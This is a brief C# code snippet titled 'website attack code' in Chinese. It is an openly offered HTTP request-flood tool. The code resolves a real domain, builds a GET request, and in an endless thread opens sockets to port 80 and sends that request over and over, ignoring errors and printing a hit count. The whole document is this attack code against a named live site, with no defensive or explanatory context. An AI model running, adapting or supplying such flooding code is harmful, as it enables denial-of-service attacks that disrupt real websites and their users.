网站攻击代码（C#）

1. IPHostEntry ipHost = Dns.GetHostEntry("www.youkuaiyun.com");  
2.             IPAddress ip = ipHost.AddressList.Where(i => { return i.AddressFamily.Equals(AddressFamily.InterNetwork); }).First();  
3.             StringBuilder sb = new StringBuilder();  
4.             //http://www.baidu.com/img/baidu_sylogo1.gif  
5.             sb.AppendLine("GET /img/baidu_sylogo1.gif HTTP/1.1");  
6.             sb.AppendLine("Accept: */*");  
7.             sb.AppendLine("Accept-Language: zh-CN");  
8.             sb.AppendLine("Content-Type: application/x-www-form-urlencoded");  
9.             sb.AppendLine("User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ZHCN)");  
10.             sb.AppendLine("Accept-Encoding: gzip, deflate");  
11.             sb.AppendLine("Host: www.youkuaiyun.com");  
12.             sb.AppendLine("Connection: Keep-Alive");  
13.             int count = 0;  
14.             #region 线程  
15.             {  
16.                 Thread ths = new Thread(() =>  
17.                 {  
18.                     while (true)  
19.                     {  
20.                         for (int i = 0; i < 10; i++)  
21.                         {  
22.                             try  
23.                             {  
24.                                 Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);  
25.                                 socket.Connect(new IPEndPoint(ip, 80));  
26.                                 byte[] sendData = Encoding.UTF8.GetBytes(sb.ToString());  
27.                                 socket.Send(sendData);  
28.                                 //byte[] recive = new byte[1024];  
29.                                 //while (socket.Receive(recive) != 0)  
30.                                 //{  
31.                                 //    Console.WriteLine(Encoding.UTF8.GetString(recive));  
32.                                 //}  
33.                                 socket.Shutdown(SocketShutdown.Both);  
34.                                 socket.Close();  
35.                                 count++;  
36.                             }  
37.                             catch { }  
38.                         }  
39.                         Console.WriteLine(count.ToString());  
40.                     }  
41.                 });  
42.                 ths.Start();  
43.             }  
44.             #endregion